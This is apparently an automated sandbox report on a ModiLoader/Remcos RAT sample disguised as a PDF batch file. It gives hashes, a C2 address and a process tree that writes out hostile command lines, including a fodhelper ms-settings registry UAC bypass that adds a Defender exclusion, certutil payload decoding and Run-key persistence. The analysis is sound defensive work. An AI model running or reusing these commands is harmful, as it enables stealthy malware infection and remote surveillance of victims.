modiloader | d8a2540d2a73aad003319a27da2bc446f9f2970e0f9566c6b29fed61cba00cb6

Analysis

max time kernel
121s
max time network
142s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
27-03-2024 02:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DEBIT_ADVICE_000610PAY001522024.PDF.bat
Size

3.1MB
MD5

37a23ddeb4d10dc479c3cda8bcad8fa6
SHA1

8cf2add3ffd2840c508bd8b06f9a29d9a4fb7bf5
SHA256

0a2ae63e384bb787bfaf113777640ad36ce8aabc235fd071de1cc746f32c1701
SHA512

aae48f4509124f6e041e96a32da0071727244d909b84b5189fd153a74f07a5dc208f4e46b98166d0aa9b25c19277796c8c01f4faaec793c95c8c03b83ef05bba
SSDEEP

24576:2wyJPcV/Hrrz6jT6vaQrAAAy4QE1FpVJQQul6kE82zg38H6HKpLJrvvfzrEZnfQL:9yJPcVHQNQrAAHEPJQT7Z38dEog3xfO

Score

10^/10

modiloader remcos remotehost persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:45671

127.0.0.1:55677

192.3.101.8:55677

192.3.101.8:45671

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-2P1XPK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 15 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1808-138-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-140-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-141-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-142-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-143-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-145-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-147-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-148-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-149-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-150-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-152-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-163-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-164-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-201-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM
behavioral1/memory/1808-202-0x00000000004C0000-0x00000000014C0000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM

Detects executables built or packed with MPress PE compressor 20 IoCs

Processes:

resource	yara_rule
behavioral1/memory/17860-158-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/17860-156-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/17860-161-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/17860-160-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/17860-159-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/33896-173-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/33896-172-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/49952-182-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/49952-181-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/66016-190-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/81980-198-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/98032-208-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/98032-210-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/114036-218-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/130084-228-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/146144-236-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/146144-237-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/162196-245-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/162196-247-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral1/memory/1808-254-0x000000001A0E0000-0x000000001A0F9000-memory.dmp	INDICATOR_EXE_Packed_MPress

ModiLoader Second Stage 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2516-56-0x0000000003170000-0x0000000004170000-memory.dmp	modiloader_stage2

Nirsoft 17 IoCs

Processes:

resource	yara_rule
behavioral1/memory/17860-161-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/17860-160-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/17860-159-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/33896-173-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/33896-172-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/49952-182-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/49952-181-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/66016-190-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/81980-198-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/98032-208-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/98032-210-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/66016-219-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/114036-218-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/130084-228-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/146144-236-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/146144-237-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/162196-247-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

Executes dropped EXE 18 IoCs

Processes:

alpha.exealpha.exealpha.exexkn.exealpha.exealpha.exekn.exealpha.exekn.exeLewxa.comalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exe6614357.exe6614357.exe

pid	process
2984	alpha.exe
2176	alpha.exe
2596	alpha.exe
2676	xkn.exe
2584	alpha.exe
2512	alpha.exe
2532	kn.exe
2500	alpha.exe
2540	kn.exe
2516	Lewxa.com
2968	alpha.exe
1884	alpha.exe
2976	alpha.exe
600	alpha.exe
476	alpha.exe
1876	alpha.exe
2740	6614357.exe
1852	6614357.exe

Loads dropped DLL 8 IoCs

Processes:

cmd.exealpha.exexkn.exealpha.exe

pid process

3000 cmd.exe
3000 cmd.exe
3000 cmd.exe
2596 alpha.exe
2676 xkn.exe
2676 xkn.exe
2676 xkn.exe
2512 alpha.exe

pid	process
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
2596	alpha.exe
2676	xkn.exe
2676	xkn.exe
2676	xkn.exe
2512	alpha.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Lewxa.com

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url"	Lewxa.com

Suspicious use of SetThreadContext 10 IoCs

Processes:

SndVol.exe

description	pid	process
PID 1808 set thread context of 17860	1808	SndVol.exe
PID 1808 set thread context of 33896	1808	SndVol.exe
PID 1808 set thread context of 49952	1808	SndVol.exe
PID 1808 set thread context of 66016	1808	SndVol.exe
PID 1808 set thread context of 81980	1808	SndVol.exe
PID 1808 set thread context of 98032	1808	SndVol.exe
PID 1808 set thread context of 114036	1808	SndVol.exe
PID 1808 set thread context of 130084	1808	SndVol.exe
PID 1808 set thread context of 146144	1808	SndVol.exe
PID 1808 set thread context of 162196	1808	SndVol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

pid pid_target process target process

162288 1808 SndVol.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

112 taskkill.exe
624 taskkill.exe

pid	pid_target	process	target process
162288	1808		SndVol.exe

pid	process
112	taskkill.exe
624	taskkill.exe

Modifies registry class 5 IoCs

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users "	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2760 reg.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

Lewxa.com

pid process

2516 Lewxa.com
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

xkn.exe

pid process

2676 xkn.exe

pid	process
2760	reg.exe

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
2516	Lewxa.com

pid	process
2676	xkn.exe

Suspicious behavior: MapViewOfSection 64 IoCs

Processes:

SndVol.exe

pid	process
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe
1808	SndVol.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

xkn.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2676	xkn.exe
Token: SeDebugPrivilege	112	taskkill.exe
Token: SeDebugPrivilege	624	taskkill.exe
Token: SeDebugPrivilege	17860
Token: SeDebugPrivilege	33896
Token: SeDebugPrivilege	49952
Token: SeDebugPrivilege	66016
Token: SeDebugPrivilege	81980
Token: SeDebugPrivilege	98032
Token: SeDebugPrivilege	114036
Token: SeDebugPrivilege	130084
Token: SeDebugPrivilege	146144
Token: SeDebugPrivilege	162196

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

SndVol.exe

pid process

1808 SndVol.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exealpha.exe

description	pid	process	target process
PID 3000 wrote to memory of 2872	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2872	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2872	3000	cmd.exe	cmd.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	extrac32.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	extrac32.exe
PID 2872 wrote to memory of 3064	2872	cmd.exe	extrac32.exe
PID 3000 wrote to memory of 2984	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2984	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2984	3000	cmd.exe	alpha.exe
PID 2984 wrote to memory of 2548	2984	alpha.exe	extrac32.exe
PID 2984 wrote to memory of 2548	2984	alpha.exe	extrac32.exe
PID 2984 wrote to memory of 2548	2984	alpha.exe	extrac32.exe
PID 3000 wrote to memory of 2176	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2176	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2176	3000	cmd.exe	alpha.exe
PID 2176 wrote to memory of 848	2176	alpha.exe	extrac32.exe
PID 2176 wrote to memory of 848	2176	alpha.exe	extrac32.exe
PID 2176 wrote to memory of 848	2176	alpha.exe	extrac32.exe
PID 3000 wrote to memory of 2596	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2596	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2596	3000	cmd.exe	alpha.exe
PID 2596 wrote to memory of 2676	2596	alpha.exe	xkn.exe
PID 2596 wrote to memory of 2676	2596	alpha.exe	xkn.exe
PID 2596 wrote to memory of 2676	2596	alpha.exe	xkn.exe
PID 2676 wrote to memory of 2584	2676	xkn.exe	alpha.exe
PID 2676 wrote to memory of 2584	2676	xkn.exe	alpha.exe
PID 2676 wrote to memory of 2584	2676	xkn.exe	alpha.exe
PID 2584 wrote to memory of 2760	2584	alpha.exe	reg.exe
PID 2584 wrote to memory of 2760	2584	alpha.exe	reg.exe
PID 2584 wrote to memory of 2760	2584	alpha.exe	reg.exe
PID 3000 wrote to memory of 2512	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2512	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2512	3000	cmd.exe	alpha.exe
PID 2512 wrote to memory of 2532	2512	alpha.exe	kn.exe
PID 2512 wrote to memory of 2532	2512	alpha.exe	kn.exe
PID 2512 wrote to memory of 2532	2512	alpha.exe	kn.exe
PID 3000 wrote to memory of 2500	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2500	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2500	3000	cmd.exe	alpha.exe
PID 2500 wrote to memory of 2540	2500	alpha.exe	kn.exe
PID 2500 wrote to memory of 2540	2500	alpha.exe	kn.exe
PID 2500 wrote to memory of 2540	2500	alpha.exe	kn.exe
PID 3000 wrote to memory of 2516	3000	cmd.exe	Lewxa.com
PID 3000 wrote to memory of 2516	3000	cmd.exe	Lewxa.com
PID 3000 wrote to memory of 2516	3000	cmd.exe	Lewxa.com
PID 3000 wrote to memory of 2516	3000	cmd.exe	Lewxa.com
PID 3000 wrote to memory of 2968	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2968	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2968	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 1884	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 1884	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 1884	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2976	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2976	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 2976	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 600	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 600	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 600	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 476	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 476	3000	cmd.exe	alpha.exe
PID 3000 wrote to memory of 476	3000	cmd.exe	alpha.exe
PID 476 wrote to memory of 112	476	alpha.exe	taskkill.exe
PID 476 wrote to memory of 112	476	alpha.exe	taskkill.exe
PID 476 wrote to memory of 112	476	alpha.exe	taskkill.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\system32\cmd.exe
cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\system32\extrac32.exe
extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
3⤵
PID:3064

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\system32\extrac32.exe
extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
3⤵
PID:2548

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\system32\extrac32.exe
extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
3⤵
PID:848

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2596

C:\Users\Public\xkn.exe
C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676

C:\Users\Public\alpha.exe
"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\system32\reg.exe
reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
5⤵
- Modifies registry class
- Modifies registry key
PID:2760

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2512

C:\Users\Public\kn.exe
C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
3⤵
- Executes dropped EXE
PID:2532

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2500

C:\Users\Public\kn.exe
C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
3⤵
- Executes dropped EXE
PID:2540

C:\Users\Public\Libraries\Lewxa.com
C:\\Users\\Public\\Libraries\\Lewxa.com
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2516

C:\Windows\SysWOW64\cmd.exe
cmd /c mkdir "\\?\C:\Windows "
3⤵
PID:1604

C:\Windows\SysWOW64\cmd.exe
cmd /c mkdir "\\?\C:\Windows \System32"
3⤵
PID:1620

C:\Windows\SysWOW64\cmd.exe
cmd /c "C:\Windows \System32\6614357.exe"
3⤵
PID:1892

C:\Windows \System32\6614357.exe
"C:\Windows \System32\6614357.exe"
4⤵
- Executes dropped EXE
PID:2740

C:\Windows \System32\6614357.exe
"C:\Windows \System32\6614357.exe"
4⤵
- Executes dropped EXE
PID:1852

C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF
3⤵
PID:1788

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\System32\SndVol.exe
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1808

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1600

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:400

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2876

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3068

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2188

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3020

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2056

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2788

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2548

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2984

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1704

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3052

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2672

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2700

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2612

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2180

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:3032

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2504

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2780

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2152

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2892

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2692

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:2888

